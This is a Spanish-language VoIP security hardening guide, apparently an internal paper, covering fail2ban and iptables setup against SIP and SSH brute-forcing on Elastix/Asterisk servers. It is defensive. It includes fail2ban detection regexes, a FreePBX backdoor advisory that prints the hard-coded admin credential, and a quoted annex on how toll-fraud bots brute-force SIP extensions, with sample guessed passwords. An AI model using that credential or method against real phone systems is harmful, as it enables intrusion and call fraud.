procedimientos para aseguramiento de servidores de voip basados en asterisk.docx

171
Procedimiento para mitigar ataque de passwork cracking en elementos SSH y SIP en centrales de VOIP en PDVSA Basadas en Elastix y Asterisk. Con la realización de este “paper” se pretende abordar un tema que no ha sido manejado hasta ahora en PDVSA, con respecto a la implantación de centrales telefónicas basadas en Asterisk. Con el reforzamiento de seguridad necesario para aminorar el riesgo de hackeo en nuestros conmutadores basados en Elastix, Freepbx, Tribox, AsteriskNow y Asterisk Puro con disposición de servicios de extensiones SIP remotas sin VPN. Se aclara que no se trata de un manual que cubre todos los aspectos de seguridad a tener en cuenta al poner un servidor elastix en producción, sino, ciertas recomendaciones y configuraciones básicas del S.O junto con otros aplicativos, extraídas de libros, manuales y experiencias personales que nos ayudaran a mantenerlo seguro y más si este, no está dentro de una VPN o atrás de un Firewall físico (que sería lo ideal). La recomendación inicial es cambiar todos los passwords que trae elastix por defecto, esto lo podemos encontrar en el libro “Elastix a Ritmo de Merengue” capítulo 12, tema que abordaremos al final de este paper, (desde la versión 2.0 y en Elastix se

Upload: jhun-manuel-manrique

Post on 28-Sep-2015

249 views

Category:

Documents


16 download

TRANSCRIPT

Procedimiento para mitigar ataque de passwork cracking en elementos SSH y SIP en centrales de VOIP en PDVSA Basadas en Elastix y Asterisk.Con la realizacin de este paper se pretende abordar un tema que no ha sido manejado hasta ahora en PDVSA, con respecto a la implantacin de centrales telefnicas basadas en Asterisk. Con el reforzamiento de seguridad necesario para aminorar el riesgo de hackeo en nuestros conmutadores basados en Elastix, Freepbx, Tribox, AsteriskNow y Asterisk Puro con disposicin de servicios de extensiones SIP remotas sin VPN. Se aclara que no se trata de un manual que cubre todos los aspectos de seguridad a tener en cuenta al poner un servidor elastix en produccin, sino, ciertas recomendaciones y configuraciones bsicas del S.O junto con otros aplicativos, extradas de libros, manuales y experiencias personales que nos ayudaran a mantenerlo seguro y ms si este, no est dentro de una VPN o atrs de un Firewall fsico (que sera lo ideal).La recomendacin inicial es cambiar todos los passwords que trae elastix por defecto, esto lo podemos encontrar en el libro Elastix a Ritmo de Merengue captulo 12, tema que abordaremos al final de este paper, (desde la versin 2.0 y en Elastix se solicita que se carguen los passwords al final de la instalacin) otra observacin importante es que realicen todo este tipo de pruebas y configuraciones sobre servidores en laboratorio (un excelente aliado para esto es la Virtualizacin) y as comprender realmente lo que se est haciendo permitindonos equivocarnos o inclusive mejorar las mismas, dicho esto, comencemos:

Analicemos los vectores de ataquesExternos

Internos

ExternosLa solucin se llama fail2ban y funciona muy sencilla pero inteligentemente. Fail2ban revisa los registros de las aplicaciones y si encuentra alguna condicin que parezca un ataque de fuerza bruta, adivinar al azar usuario y contrasea, agregar una lnea de bloqueo en nuestro iptables para negarle la conexin a la IP que nos intenta hackear. Muy sencillo, pero efectivo!

Dicho lo anterior, tenemos 4 cosas importantes por hacer:

Revisar que iptables est funcionadoConfigurar Asterisk para que guarde logs en un archivo especficoConfigurar y ejecutar fail2banProbar que funcione

InternosTeniendo en cuenta que los protocolos elegidos para desplegar la red se basan en:

1) SIP/SDP: Para la sealizacin de la comunicacin y el establecimiento de los codecs multimedia . (RFC3261)2) RTP/RTCP: Para el transporte del flujo multimedia.

Cualquier anlisis al respecto deber tener en cuenta ambos aspectos.

1) Para el primer caso hay que mencionar que SIP es un protocolo de tipo End-to-End donde obviamente la lgica reside en cada extremo. (Agente de Usuario Cliente y Servidor) Por lo tanto la seguridad debe pasar por ambos. Los aspectos ms importantes a tener en cuenta son muchos pero fundamentalmente se basan en que el software o firmware empleado se ajuste estrictamente al RFC-3261 en todos sus puntos. SIP/TLS se presenta an en una primera etapa de implementacin en la mayora del software y hardware existente lo cual dificulta su empleo. Otros temas como: evitar el escaneo de puertos en los extremos y el empleo de autenticacin en todas las etapas involucradas de la comunicacin (Registro, Autenticacin de Llamada, etc), as como el empleo de contraseas no triviales son de vital importancia. Una problema de seguridad sobre SIP puede ocasionar problemas que van desde la Denegacion de Servicio, el uso indebido de nuestra Red, etc.

2) A travs de RTP/RTCP fluye la informacin propiamente dicha de una Red VoIP (audio/video). Es por ello que una deficiencia en la seguridad de nuestra red puede ocasionar una prdida de confidencialidad de la comunicacin. En este caso es posible implementar la versin asegurada del protocolo RTP: SRTP (Secure RTP) que permite encriptar los datos para evitar interceptar el flujo multimedia. De cualquier manera, no todo el hardware/software esta preparado para soportar este protocolo y su implementacin puede ocasionar otro tipo de inconvenientes dificiles de contemplar.

CONCLUSION:

Dado que la lgica involucrada reside en mltiples partes y algunas de ellas pueden llegar a escapar de nuestro alcance y control (ej. firmware de un gateway/telefono, etc), por el momento, y a los fines de evitar cualquier tipo de inconveniente se sugiere la conformacin de una Red Privada Virtual a los fines de interconectar nuestros Servidores/PBXs/Proxys o Gateways situados en el Borde de la Red de VoIP de RIU.

Si bien lo correcto para nuestro caso, seria la configuracin de una VPN tipo Full-Mesh y no una configuracin en Estrella con mltiples clientes, para comenzar a desplegarla se sugiere esta ltima a los fines de facilitar su implementacin ya que dado lo numeroso de los clientes una VPN full-mesh implicara en cada nodo controlar un gran nmero de tneles requiriendo gran capacidad de procesamiento y complejidad en la configuracin. Se sugiere entonces comenzar con una red basada en OpenVPN.Como instalar Fail2ban en Elastix 1.6.En ocasiones podemos encontrar en la web la mencin defail2ban, una herramienta escrita en Python que analiza logs del sistema y responde en caso de que ciertas condiciones se cumplan, por ejemplo, 5 intentos de contrasea SSH equivocada en un periodo de 10 minutos. Dada la proliferacin deataques a equipos Asteriskpara tratar de hacer llamadas de larga distancia, tiene sentido que ocupemos esta herramienta para cerrar las brechas de seguridad y protegernos de los amantes de lo ajeno.Importante es conocer cmo funciona. Fail2ban no analiza los paquetes entrantes, analiza los log de eventos del sistema, y podra pesentar delays en la activacin de las polticas de bloqueo. Elimina de la posibilidad de conexin va iptables de una determinada direccin IP una vez han ocurrido un numero programable (default 5) de intentos fallidos en un tiempo programable (default 10 minutos = 600s) por un periodo de tiempo programable (default 24 horas = 86400s)Ahora bien, cmo configuramos esta herramienta para que nos evite los cargos de miles Bs o de dlares en llamadas fantasmas?Paso 0 Prueba de la existencia de IptablesEstando como root en tu sistema, debers de revisar que iptables est funcionado y que est configurado para arrancar en cada momento.#service iptables statusEl cortafuegos est detenido.Lo anterior quiere decir que el firewall est detenido. Si acabas de instalar tu sistema recomiendo que revises que no existan reglas cargadas y que la poltica est en ACCEPT.#iptables -LChain INPUT (policy ACCEPT)target prot opt source destinationChain FORWARD (policy ACCEPT)target prot opt source destinationChain OUTPUT (policy ACCEPT)target prot opt source destinationSi tienes una salida parecida a la anterior, quiere decir que no hay reglas y que ests permitiendo todo el trfico.Ahora tendremos que guardar esas reglas y encender el firewall#service iptables saveGuardando las reglas del cortafuegos a /etc/sysconfig/iptab[ OK ]#service iptables startExpurgar reglas del cortafuegos: [ OK ]Configuracin de cadenas a la poltica ACCEPT: filter [ OK ]Descargando mdulos iptables: [ OK ]Aplicando reglas del cortafuegos iptables: [ OK ]Ahora ya estn cargadas las reglas en los archivos del sistema y podemos consultarlas de la siguiente forma:

#service iptables statusTabla: filterChain INPUT (policy ACCEPT)num target prot opt source destinationChain FORWARD (policy ACCEPT)num target prot opt source destinationChain OUTPUT (policy ACCEPT)num target prot opt source destinationFinalmente le decimos al sistema que vuelva a cargar estas reglas tras un posible reinicio.#chkconfig iptables on

Paso 1 Instalacin de Fail2BanPrimero, lo instalamos. En Deban podemos usar el mundialmente reconocidoapt-get:apt-get install fail2banO, si tenemos Centos, primero asegurmonos de que tengamos EPEL (un repositorio que nos da acceso a mucho software til) y luego instalamos fail2ban:rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm yum -y install fail2ban

Paso 2 Configuracin de Fail2Ban.Fail2Ban se configura en 2 partes bsicas: /etc/fail2ban/jail.conf Define que logs monitorear y que hacer en caso de que una regla se cumpla /etc/fail2ban/filter.d/ Definimos las reglas de coincidencia para analizar los logsEl comportamiento por defecto de fail2ban se debe configurar en el archive:/etc/fail2ban/jail.confEditemos el archivo jail.conf y agreguemos esto hasta abajo:[asterisk-iptables]enabled = truefilter = asteriskaction = iptables-allports[name=ASTERISK, protocol=udp, port=5060]sendmail-whois[name=ASTERISK, [email protected], [email protected]]logpath = /var/log/asterisk/fullmaxretry = 5findtime = 600bantime = 10800Lo que estamos especificando es lo siguiente: La regla (jail) se llama asterisk-iptables El filtro a usar debe existir en /etc/fail2ban/filter.d/asterisk.conf Cuando se active la regla, usaremos la accin iptables-allports, la cual bloquea a nivel de iptables. Nosotros le estamos indicando que cierre el acceso al puerto UDP 5060, y luego que haga uso de la accin sendmail-whois, la cual me enviara a mi correo electrnico la notificacin del bloqueo, adems de enviarme informacin de whois de la IP que se bloque. El archivo log a monitorear es el /var/log/asterisk/full (ojo, esto funciona para el Elastix y Asterisk puro, sin embargo dependiendo de tu sistema, el log puede ser diferente, ajstalo acorde) Se permiten un mximo de 5 fallos en 10 minutos antes de activar la proteccin. Es decir, se permiten un mximo de maxretry intentos en findtime segundos Al activarse el bloqueo, se har por 3 horas o bien, 10800 segundos (bantime). Se recomienda colocar este nmero en 86400 segundos 24 horas.Adicionalmente:Demos un vistazo para entender lo que nos indica. En la seccin de [DEFAULT] esta se aplica a todas las dems secciones pero pueden ser sobrescritas por otras secciones.ignoreip: Separadas con espacio son las direcciones IP que no sern bloqueadas por ningn motivo por fail2ban. Si la computadora que usas para conectar con el server VOIP tiene una direccin fija puedes usarla en esta seccin.bantime: Es el tiempo que el fail2ban usa como guarda para determiner si debe bloquear una direccin IP (600 seconds = 10 minutes).maxretry: Maximo numero de intentos fallidos en durante el tiempo determinado anteriormente.filter: Se refiere a donde se encuentra el archive de configuracin /etc/fail2ban/filter.d.logpath: Es el log que ser observado por fail2ban.

En esta link se encuentra el manual oficial para el jail.conf:http://www.fail2ban.org/wiki/index.php/MANUAL_0_8#JailsYa definido el jail, necesitamos crear el filtro que atrapar los ataques. Esto se define (de acuerdo a lo que especificamos arriba) en el/etc/fail2ban/filter.d/asterisk.conf los valores con # son comentarios, solo se dejan por referencia). En las pruebas realizadas se us el filtro de asterisk colocado por defecto en la ltima versin de fail2ban.[INCLUDES]

# Read common prefixes. If any customizations available -- read them from# common.local#before = common.conf

[Definition]

#_daemon = asterisk

# Option: failregex# Notes.: regex to match the password failures messages in the logfile. The# host must be matched by a group named "host". The tag "" can# be used for standard IP/hostname matching and is only an alias for# (?:::f{4,6}:)?(?PS+)# Values: TEXT#

failregex = Registration from '.*' failed for '(:[0-9]{1,5})?' - Wrong password Registration from '.*' failed for '(:[0-9]{1,5})?' - No matching peer found Registration from '.*' failed for '(:[0-9]{1,5})?' - Device does not match ACL Registration from '.*' failed for '(:[0-9]{1,5})?' - Username/auth name mismatch Registration from '.*' failed for '(:[0-9]{1,5})?' - Peer is not supposed to register NOTICE.* failed to authenticate as '.*'$ NOTICE.* .*: No registration for peer '.*' (from ) NOTICE.* .*: Host failed MD5 authentication for '.*' (.*) VERBOSE.* logger.c: -- .*IP/-.* Playing 'ss-noservice' (language '.*')

# Option: ignoreregex# Notes.: regex to ignore. If this regex matches, the line is ignored.# Values: TEXT#ignoreregex =Se observa que estamos tratando de atrapar a los siguientes: Usuarios que ingresan su contraea SIP incorrectamente Usuarios que intentan usar un usuario SIP que no existe Usuarios que no cumplen con los parmetrospermitydenydel sip.conf Usuarios que suauth usernameno coincide con suusername Usuarios que tratan de registrarse con perfiles que son fijos (es decir, que no tienenhost=dynamic) Usuarios que no cumplen con los criterios de autenticacin Usuarios que marcan hacia nmeros que no existen (esto es comn en Elastix/FreePBX cuando deshabilitamos recibir llamadas annimas)En esta link encontramos elmanual de los filtros de fail2ban:http://www.fail2ban.org/wiki/index.php/MANUAL_0_8#Filters

Finalmente, solo nos queda activar el servicio. En Debian ya qued instalado automticamente, solo tenemos que arrancarlo:/etc/init.d/fail2ban startEn CentOS, tenemos que habilitar el autoarranque para que inicie al arrancar el equipo:chkconfig --add fail2banchkconfig fail2ban on/etc/init.d/fail2ban startFail2ban es un excelente apoyo contra ataques que dejan registros en logs y no solo nos sirve para Asterisk, tambin para SMTP, SSH, HTTP o cualquier otra cosa que queramos monitorear. Esto, en conjuncin con buenas prcticas de seguridad para Asterisk, nos resultar un sistema ms confiable y menos propenso a sufrir daos por parte de atacantes.Buenas Prcticas en nuestro Servidor Conocer perfectamente el sistema por dentro. Llevar un control exhaustivo del sistema. Estar al da con las actualizaciones, vulnerabilidades y soluciones. Llevar un mantenimiento continuo. Observar los logs del sistema. Evitar utilizar puertos estndares. Utilizar un firewall. Utilizar herramientas como fail2ban para evitar escaneos y ataques DoS. Denegar peticiones al 5060/4569 UDP desde el exterior siempre que no tengamos usuarios SIP/IAX externos. DROPear cualquier paquete procedente de cualquier IP que no sea de nuestra red de confianza.

Siete pasos para mejorar la seguridad SIP en Asterisk En los ltimos meses han aparecido una serie de nuevas herramientas que hace posible a cualquier novato atacar y cometer fraudes en equipos SIP, incluyendo los sistemas basados en Asterisk. Existen herramientas fcilmente disponibles que hacen un barrido de redes en busca de hosts que ofrezcan servicios SIP, luego, una vez encontrado, realiza un barrido en busca de extensiones y contraseas. Exiten ciertas reglas, de aplicacin inmediata, que eliminan muchos de los problemas de seguridad, protegiendo al servidor Asterisk de los barridos masivos y los ataques posteriores. Estos mtodos y herramientas de proteccin ya existen, simplemente hay que aplicarlos. 1. No aceptar pedidos de autenticacin SIP desde cualquier direccin IP. Utilizar las lneas permit= y deny= del archivo de configuracin: sip.conf para slo permitir un subconjunto razonable de direcciones IP alcanzar cada usuario/extensin listado en el archivo sip.conf. Aun aceptando llamadas entrantes desde anywhere (via [default]) no se debe permitir a esos usuarios alcanzar elementos autenticados.

2. Establecer el valor de la entrada alwaysauthreject=yes en el archivo sip.conf. Esta opcin est disponible desde la versin 1.2 de Asterisk, pero su valor es "no" por defecto, lo que puede ser potencialmente inseguro. Estableciendo este valor en "yes" se rechazarn los pedidos de autenticacin fallidos utilizando nombres de extensiones vlidas con la misma informacin de un rechazo de usuario inexistente. De esta forma no facilitamos la tarea al atacante para detectar nombres de extensiones existentes utilizando tcnicas de "fuerza bruta".

3. Utilizar claves SEGURAS para las entidades SIP. Este es probablemente la ms importante medida de seguridad. Si alguna vez viste programas que generan y prueban claves por fuerza bruta sabrs que se necesita algo ms que palabras y nmeros para una clave segura. Usar smbolos, nmeros, una mezcla de letras minsculas y maysculas y al menos 12 caracteres de largo.

4. Bloquear los puertos del Asterisk Manager Interface (AMI). Usar permit= y deny= en el archivo de configuracin manager.conf para limitar las conexiones entrantes slo a hosts conocidos. Una vez ms utilizar claves seguras aqu tambin, 12 caracteres al menos en una combinacin de nmeros, letras y smbolos.

5. Permitir slo una o dos llamadas por vez por entidades SIP cuando sea posible. Limitar el uso no autorizado de las lneas voip es una sabia decisin, esto tambin es util para el caso que usuarios legtimos hagan pblica su clave y pierdan control de su uso.

6. Los nombres de usuarios SIP deben ser diferentes que sus extensiones. A pesar de ser conveniente tener una extensin 1234 que mapee a una entrada SIP 1234 la cual es tambin el usuario SIP 1234, esto tambin facilita a los atacantes para descubrir nombres de autenticacin SIP. En su ligar usar las direcciones MAC del dispositivo, o alguna combinacin de frases comunes + extensin MD5 hash (por ejemplo: desde el shell prompt, hacer md5 -s ThePassword5000)

7. Asegurarse que el contexto [default] sea seguro. No permitir que llamadores no autenticados alcancen contextos que les permitan llamar. Permitir slo una cantidad limitada de llamadas activas pasen por el contexto default (utilizar la funcin GROUP como contador). Prohibir totalmente las llamadas no autenticadas (si es que as lo queremos) estableciendo allowguest=no en la parte [general] de sip.conf.

Backdoor detectado en FreePBX (hasta la versin 2.0.1 de Elastix - Agosto 2010) En el mes de agosto de 2010, Andrs Babativa, miembro de lista general de Elastix descubri que uno de los usuarios definidos para acceder a la base de datos, poda acceder como usuario Admin por el front-end de freepbx; mas alla de que nos hayamos esmerado muchsimo en usuarios y contraseas fuertes, si utilizo este gold super user entro sin ningn problema con permisos de admin y puedo hacer lo que quiero en cualquier asterisk que tenga un freepbx!Para verificar esto podemos acceder a la interfaz de freepbx, cuando nos solicite user y passowrd ingresamos: http://tuservidor/adminuser: asteriskuser Password: eLaStIx.asteriskuser.2oo7 Frente a esto ese mismo da, horas ms tarde el equipo de desarrolladores de Palosanto Solutions ya tena listo el paquete RPM de freepbx corregido en los repositorios de Elastix. Para aplicarlo debemos actualizar freepbx; para esto ejecutamos en la consola como usuario root: yum upgrade freePBX*

Una vez actualizado, podemos corroborar que el problema est solucionado ingresando el usuario y password anteriormente mencionados y notaremos que ya no podremos acceder. Referencias Tcnicas: Comunicaciones Unificadas con Elastix, vol. 1 y 2 Edgar Landivar Elastix a Ritmo de Merengue Alfio Muozwiki.centos.org/es/HowTos/Network/SecuringSSHblogs.digium.com/2009/03/28/sip-security/www.fail2ban.org www.sinologic.net blogs.elastix.org/es/2010/01/14/instalacion-de-fail2ban/www.voztovoice.org/?q=node/135http://www.zeroflux.org/projects/knockhttp://elmampano.wordpress.com/2011/05/24/port-knocking/https://www.howtoforge.com/fail2ban_debian_etch

Importantehttp://www.backtrack-linux.org/wiki/index.php/Pentesting_VOIPhttps://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Endler.pdf

Anexo 1 Cambiar el log de eventos de Asterisk Elastix 2.4

Asterisk puede cambiar la forma en la que reporta los eventos, esto se realiza en el archivo/etc/asterisk/logger.conf. Debers editarlo y agregar las siguientes lneas:Justo arriba de la seccin [logfiles] poner las siguientes dos lneas que cambian el formato de la hora reportada:[general]dateformat=%F %TAl final del archivo, dentro de la seccin [logfiles], debers de colocar la siguiente lnea:fail2ban => noticePosteriormente guardas y le pides a asterisk que refresque la configuracin:asterisk -rx 'module reload logger'sta es la parte ms interesante. Fail2ban ya se encuentra instalado en un sistema Elastix 2.4, y si no est lo puedes instalar va yum. Lo primero que tenemos que hacer es configurar el archivo/etc/fail2ban/filter.d/asterisk.confste es el contenido:# /etc/fail2ban/filter.d/asterisk.conf# Fail2Ban configuration file### $Revision: 250 $#[INCLUDES]# Read common prefixes. If any customizations available read them from# common.local#before = common.conf[Definition]#_daemon = asterisk# Option: failregex# Notes.: regex to match the password failures messages in the logfile. The# host must be matched by a group named host. The tag can# be used for standard IP/hostname matching and is only an alias for# (?:::f{4,6}:)?(?P\S+)# Values: TEXT#failregex = NOTICE.* .*: Registration from .* failed for Wrong passwordNOTICE.* .*: Registration from .* failed for :.* No matching peer foundNOTICE.* .*: Registration from .* failed for No matching peer foundNOTICE.* .*: Registration from .* failed for Username/auth name mismatchNOTICE.* .*: Registration from .* failed for Device does not match ACLNOTICE.* .*: Registration from .* failed for Peer is not supposed to registerNOTICE.* .*: Registration from .* failed for ACL error (permit/deny)NOTICE.* .*: Registration from .* failed for Device does not match ACLNOTICE.* failed to authenticate as .*$NOTICE.* .*: No registration for peer .* \(from \)NOTICE.* .*: Host failed MD5 authentication for .* (.*)NOTICE.* .*: Failed to authenticate user .*@.*NOTICE.* .*: Sending fake auth rejection for device .*\;tag=.*# In Asterisk 1.8 use the same as above, but after add :.* before the single quote. This is because in Asterisk 1.8, the log file includes a port number which 1.4 did not.# Option: ignoreregex# Notes.: regex to ignore. If this regex matches, the line is ignored.# Values: TEXT#ignoreregex =Si gustas puedes descargar el archivo completo desde aqu:# wgethttp://liberatech.mx/archivos/fail2ban/asterisk.confAhora podemos configurar el archivo/etc/fail2ban/jail.confpara que active la inspeccin de la regla de asterisk. Busca el final de la seccin[Default]y el inicio de la seccin[ssh-iptables]. Debers copiar y pegar este bloque de justo en ese lugar:...backend = auto[asterisk-iptables]enabled = truefilter = asteriskaction = iptables-allports[name=ASTERISK, protocol=all] sendmail-whois[name=ASTERISK, dest=root, sender=fail2ban@localhost]logpath = /var/log/asterisk/fail2ban# This jail corresponds to the standard configuration in Fail2ban 0.6.# The mail-whois action send a notification e-mail with a whois request# in the body.[ssh-iptables]...Si no te gustar estar editando, descarga el archivo ya completo:# wgethttp://liberatech.mx/archivos/fail2ban/jail.confAhora iniciemos fail2ban y validemos que no existan errores de configuracin:#service fail2ban startStarting fail2ban: [ OK ]Configura su arranque tras un reinicio:#chkconfig fail2ban onPara saber si est corriendo fail2ban, podemos mostrar las reglas iptables y veremos secciones nuevas con la leyenda fail2ban:#service iptables statusTabla: filterChain INPUT (policy ACCEPT)num target prot opt source destination1 fail2ban-SSH tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:222 fail2ban-ASTERISK all -- 0.0.0.0/0 0.0.0.0/0Chain FORWARD (policy ACCEPT)num target prot opt source destinationChain OUTPUT (policy ACCEPT)num target prot opt source destinationChain fail2ban-ASTERISK (1 references)num target prot opt source destination1 RETURN all 0.0.0.0/0 0.0.0.0/0Chain fail2ban-SSH (1 references)num target prot opt source destination1 RETURN all 0.0.0.0/0 0.0.0.0/0Ahora s, cmo saber que todo lo que hicimos tuvo un propsito? Bien, pues tendremos que probarlo. Descarga un softphone a una computadora cualquiera para realizar una prueba. Por lo general yo uso Zoiper, puedes usar la versingratuitao bien adquirir laversin con el codec g.729.Te recomiendo que lo instales en otra mquina diferente a la que ests usando en este momento porque, si todo funciona, perders conexin con el servidor Elastix.En el servidor Elastix puedes ejecutar el siguiente codiguito que te mostrar en pantalla cada 2 segundos las reglas iptables. De esta forma nos daremos cuenta cuando nos hayan bloqueado.#while [ true ] ; do clear ; service iptables status ; sleep 2 ; doneAhora si, desde el equipo de pruebas, da click en la configuracin de una cuenta SIP y escribe la ip de tu servidor. El usuario y password llnalos con teclazos al azar y listo, dale varias veces click en el botn de register.Despus de realizar el tercer intento de registro, ya no podrs alcanzar el servidor desde ese equipo, aun cuando le tires un ping.Puedes ver cmo fail2ban agreg una lnea bloqueando la ip de la mquina que usaste como atacante:#service iptables statusTabla: filterChain INPUT (policy ACCEPT)num target prot opt source destination1 fail2ban-ASTERISK all -- 0.0.0.0/0 0.0.0.0/02 fail2ban-SSH tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22Chain FORWARD (policy ACCEPT)num target prot opt source destinationChain OUTPUT (policy ACCEPT)num target prot opt source destinationChain fail2ban-ASTERISK (1 references)num target prot opt source destination1 DROP all 192.168.2.52 0.0.0.0/02 RETURN all 0.0.0.0/0 0.0.0.0/0Chain fail2ban-SSH (1 references)num target prot opt source destination1 RETURN all 0.0.0.0/0 0.0.0.0/0

Anexo 2. - Cmo funciona un ataque VoIPFuente: https://www.sinologic.net/blog/2013-08/como-funciona-ataque-voip-nuestra-centralita.htmlEste mundo no es perfecto y por ese motivo existen personas que se aprovechan de descuidos, fallos y desconocimiento para ganar dinero pese al perjuicio de otros, incluso sin prestar atencin al gran dao que producen estas acciones a las vctimas. Estamos hablando de losataques VoIPque seguro, conocemos todos.Despus de tantos aos en el mundo de la VoIP y comunicaciones en general, uno descubre que muchos amigos, clientes y conocidos ven impotentes como han sufrido ataques durante sus vacaciones, en navidad, un fin de semana cualquiera, o por la noche, causndoles un perjuicio econmico bestial, no solo por tener una centralita con el puerto SIP abierto y disponible, si no por tener tambin gateways accesibles desde internet fallos garrafales de seguridad que terminan con una factura telefnica inmensa yponiendo denuncias a las autoridades civilesaunquela cosa no se vea bien.Existen muchos tipos de ataques: los provocados por personas ajenas o bien por personas conocidas y que estn dentro de la red. Ataques de escucha de conversaciones, falsificacin de cuentas, etc pero en este artculo nos vamos a centrar en el que seguramente sea el ms conocido de los ataques:el ataque remoto por millones de peticiones de llamada externa. Un da nos levantamos, vemos nuestro sistema y detectamos que no podemos realizar llamadas porque todos los canales estn ocupados (o porque el operador no nos deja hacer ms llamadas) y cuando miramos el registro de llamadas vemos cientos de miles de llamadas a nmeros internacionales: China, Cuba, Albania, Pakistn, Congo, Rusia, Tuvalu etc por poner unos ejemplos ms caractersticostal y como anunciamos hace tiempoHace unos aos, la figura delPhreakervena a ser el de una persona joven que quera poder hablar por telfono sin pagar por la llamada. El objetivo principal estaba claro:hablar. Hoy da, el objetivo es muy diferente:ganar dinero, pero cmo lo hacen? Vamos a verlo.El primer paso para recibir un ataque, es pensar que no lo vamos a recibir, que nuestro firewall cost un dineral y est perfectamente configurado por lo que es imposible que nos ataquen. Adems, hemos bloqueado todos los puertos entrantes, as que, asunto solucionado. Mal comienzo:muchos routers incorporan un sistema llamado UPnP que abren el puerto 5060 de forma automtica tras detectar un dispositivo como un telfono o un gateway de la red interna. Incluso muchos de los routers que ofrecen los operadores incorporan sistemas que imposibilitan bloquear/cerrar esos puertos.No obstante, si tenemos la necesidad de ofrecer cuentas remotas, tendremos que abrir puertos, incluso si estas cuentas estn detrs de conexiones con direcciones IP dinmicas, prcticamente estamos a la merced de la configuracin.Una buena configuracin es ms importante que un firewall.Un ataque suele ser algo automtico ejecutado por aplicaciones ejecutadas en servidores zombies, por lo que bloquear una IP no suele tener el efecto deseado, al igual que contraatacar a la IP que nos est atacando ya que recibiremos el mismo ataque desde otras direcciones IP unos minutos ms tarde.Denunciaral responsable de la direccin IP atacante tampoco suele tener el resultado esperado y es muy difcil seguir el rastro al verdadero atacante. Conste en acta que soy de los que prefieren no bloquear los puertos VoIP y prestar ms atencin a la configuracin, el problema de este sistema es que hay que conocer bastante bien toda la configuracin para evitar daos a medio y largo plazo, pero conociendo un poco cmo funcionan los atacantes, podemos estar ms tranquilos.Para descubrir el motivo de estos ataques hay que conocer un poco el funcionamiento del negocio de algunos operadores y empresas de comunicaciones que consiguen beneficios creando redes virtuales de abonados y ajustando costes haciendo de pasarelas de llamadas entre varios operadores (esto puede parecer un poco complicado de entender, as que voy a explicarlo con un ejemplo simple)Vamos a partir deun caso muy sencillo. Los operadores mviles en Espaa: Movistar, Orange, Vodafone, Yoigo todos estos operadores tiene varios millones de usuarios cada uno. Cada usuario dispone de uno o varios nmeros y cada operador le cobra a sus usuarioscuando estos hacen llamadas(no se paga nada cuando se reciben llamadas)- Juan (usuario de Movistar) quiere llamar a Pepe (usuario de Vodafone). Como Juan inicia la llamada, le pagar a Movistar un dinero en concepto de establecimiento y otro en funcin del tiempo que est hablando. Movistar establecer una conexin con la red de Vodafone y este enviar la llamada a Pepe. Vodafone le cobra a Movistar una cantidad pequea de dinero por utilizar la red de Vodafone para poder enviar la llamada a su propio usuario Pepe.Por lo tanto:Vodafone gana dinero por recibir una llamada y envirsela a su usuarioa modo de compensacin por el uso de la red.Esto es as porqueMovistar y Vodafone estn conectadosy pueden pasarse las llamadas entre ellas pero qu ocurre cuando el destinatario es Paco que vive en Cuba o Tuvalu?El resultado es que los operadores deben pasar las llamadas de unos a otros hasta llegar a Paco en Cuba y luego:-Movistarpagar a su proveedorAmericaTelecom, AmericaTelecom a su vez, pagar aCubaTel,- CubaTel a la compaa de mvilesCubaMobilede quien es usuario PacoEn resumen: en una llamada, hay varios operadores que ganan dinero, aunque sea nfimo, casi simblico, apenas una dcima parte de un cntimo de euro o incluso menos (estamos hablando de cantidades ridculas: 0,0001 por llamada). No es un negocio interesante ya que el beneficio es mnimo por cada llamada, pero cuando se hacen cientos de millones de llamadas (aunque sea de forma ilegal), y tanto el coste de la infraestructura como el gasto que supone recibir una llamada es prcticamente cero por no tener usuarios propios y dedicarse a transferir llamadas entre operadores, el negocio pasa a ser muy lucrativo.Por supuesto, este ejemplo est simplificado para que se entienda mejor y existen muchas variantes, otros beneficiarios, el tema se complica bastante y siempre hay alguien perjudicado (la vctima) y alguien beneficiado.El objetivo final es conseguir trfico para poder cobrar por cada llamada. Cuantas ms llamadas, ms dinero y para eso, se hace uso de aplicaciones que escanean redes, detectan servidores, explotan vulnerabilidades y hacen llamadas a destinatarios y lugares para poder hacer dinero. Para eso existen aplicaciones bastante complejas pero muy lucrativas que al funcionar casi de forma automtica se consideranbots.Cuando un bot hace un milln de llamadas en un fin de semana, ese milln de llamadas se transforma en unos pocos cientos de dlares de beneficio por interconexin de llamadas, quiz no hace falta descolgar la llamada, aunque si lo hace, el beneficio es an mayor y ms si cabe, si el nmero destino es un nmero premium con un alto coste de establecimiento. El beneficiario suele ser una de las empresas intermedias o incluso la empresa que recibe la llamada, aunque est lo suficientemente oculto como para que no haya pruebas acerca de quin se beneficia del ataque del bot.El bot no se ejecuta nicamente en un sistema, si no en decenas de ellos de forma simultanea, por lo que es habitual que cuando detectemos un ataque procedente de una direccin IP, rpidamente recibamos otros tantos de muchas otras mquinas.Vale, ya sabemos cmo ganan dinero, ahora cmo funciona?Lo primero que hacen esescanear rangos de IPde redes en busca deServidores VoIPoGatewayscon el puerto 5060 abierto, 5061, 5062, un escaneo completo de este tipo tan solo requiere de 2 segundos por direccin IP, as que una vez que encontramos un servidor con ese puerto abierto, pasamos al siguiente paso. Con decenas de servidores zombies, es cuestin de tiempo encontrar algn servidor o gateway disponible.Lo siguiente esprobar a enviar una peticin de llamada annima a un nmero de telfonode la red beneficiaria (por ejemplo, un nmero premium 902 remunerado pero de un pas donde la empresa tenga acuerdos, por ejemplo:Namibia) Si el sistema devuelve Ringing, entonces estamos de enhorabuena la llamada progresa y la red est ganando dinero, tras lo cual enviar cientos de peticiones simultaneas de la misma manera. Pero si el sistema devuelve un Forbidden o un Declined, entonces el bot probar medidas ms drsticas y pasar al siguiente paso.El siguiente paso es el ms duro,la bsqueda de una cuenta SIP vulnerable con la que registrarsey poder hacer llamadas utilizndola como pasarela. Para ello, empieza con un nmero: 100 y contina hasta el 999999.Por cada cuenta, el bot prueba diversas contraseas:Usuario: 100Contrasea:100Contrasea:0100Contrasea:00100Contrasea:abc100Contrasea:000Contrasea:1234Contrasea:12345Contrasea:pass100. y as cientos de miles de pruebas msSi no hemos logrado encontrar la contrasea, el bot probar con el siguiente nmero: 101y as, continuar hasta que encuentre una cuenta vulnerable, llegue a la cuenta 999999 o el servidor se quede sin ancho de banda y nuestro 